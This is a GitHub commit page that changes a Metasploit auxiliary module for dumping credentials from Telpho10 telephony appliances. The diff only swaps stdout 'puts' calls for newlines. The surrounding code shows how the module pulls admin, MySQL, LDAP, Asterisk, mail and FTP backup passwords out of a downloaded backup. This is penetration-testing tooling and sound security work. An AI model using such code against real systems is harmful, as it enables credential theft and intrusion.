Skip to content

Commit 05ee51a

Browse files
whootpbarry-r7
authored andcommitted
Update telpho10_credential_dump.rb
do not write to stdout
1 parent fb534a9 commit 05ee51a

File tree

1 file changed

+14
-14
lines changed

1 file changed

+14
-14
lines changed

modules/auxiliary/admin/http/telpho10_credential_dump.rb

Lines changed: 14 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -67,40 +67,40 @@ def dump_creds(mysql_file)
6767
end
6868
file.close
6969

70-
puts
70+
7171
print_status('Login (/telpho/login.php)')
7272
print_status('-------------------------')
7373
print_good('Username: ' + config.first[/adminusername\',\'(.*?)\'/, 1])
74-
print_good('Password: ' + config.first[/adminpassword\',\'(.*?)\'/, 1])
75-
puts
74+
print_good('Password: ' + config.first[/adminpassword\',\'(.*?)\'/, 1] + "\n")
75+
7676
print_status('MySQL (/phpmyadmin)')
7777
print_status('-------------------')
7878
print_good('Username: root')
79-
print_good('Password: ' + config.first[/dbpassword\',\'(.*?)\'/, 1])
80-
puts
79+
print_good('Password: ' + config.first[/dbpassword\',\'(.*?)\'/, 1] + "\n")
80+
8181
print_status('LDAP (/phpldapadmin)')
8282
print_status('--------------------')
8383
print_good('Username: ' + 'cn=admin,dc=localdomain')
84-
print_good('Password: ' + config.first[/ldappassword\',\'(.*?)\'/, 1])
85-
puts
84+
print_good('Password: ' + config.first[/ldappassword\',\'(.*?)\'/, 1] + "\n")
85+
8686
asterisk_header = 'Asterisk MI (port 5038)'
8787
print_status(asterisk_header)
8888
print_status('-' * asterisk_header.length)
8989
print_good('Username: ' + config.first[/manageruser\',\'(.*?)\'/, 1])
90-
print_good('Password: ' + config.first[/managersecret\',\'(.*?)\'/, 1])
91-
puts
90+
print_good('Password: ' + config.first[/managersecret\',\'(.*?)\'/, 1] + "\n")
91+
9292
print_status('Mail configuration')
9393
print_status('------------------')
9494
print_good('Mailserver: ' + config.first[/ipsmarthost\',\'(.*?)\'/, 1])
9595
print_good('Username: ' + config.first[/mailusername\',\'(.*?)\'/, 1])
9696
print_good('Password: ' + config.first[/mailpassword\',\'(.*?)\'/, 1])
97-
print_good('Mail from: ' + config.first[/mailfrom\',\'(.*?)\'/, 1])
98-
puts
97+
print_good('Mail from: ' + config.first[/mailfrom\',\'(.*?)\'/, 1] + "\n")
98+
9999
print_status('Online Backup')
100100
print_status('-------------')
101101
print_good('ID: ' + config.first[/ftpbackupid\',\'(.*?)\'/, 1])
102-
print_good('Password: ' + config.first[/ftpbackuppw\',\'(.*?)\'/, 1])
103-
puts
102+
print_good('Password: ' + config.first[/ftpbackuppw\',\'(.*?)\'/, 1] + "\n")
103+
104104
end
105105

106106
def run
@@ -139,7 +139,7 @@ def run
139139
extracted = untar("#{path}")
140140
mysql = untar("#{extracted}/mysql.tar")
141141

142-
print_status('Dumping credentials')
142+
print_status('Dumping credentials' + "\n")
143143
dump_creds("#{mysql}/mysql.epb")
144144
else
145145
print_error('Failed to download file.')

0 commit comments

Comments
 (0)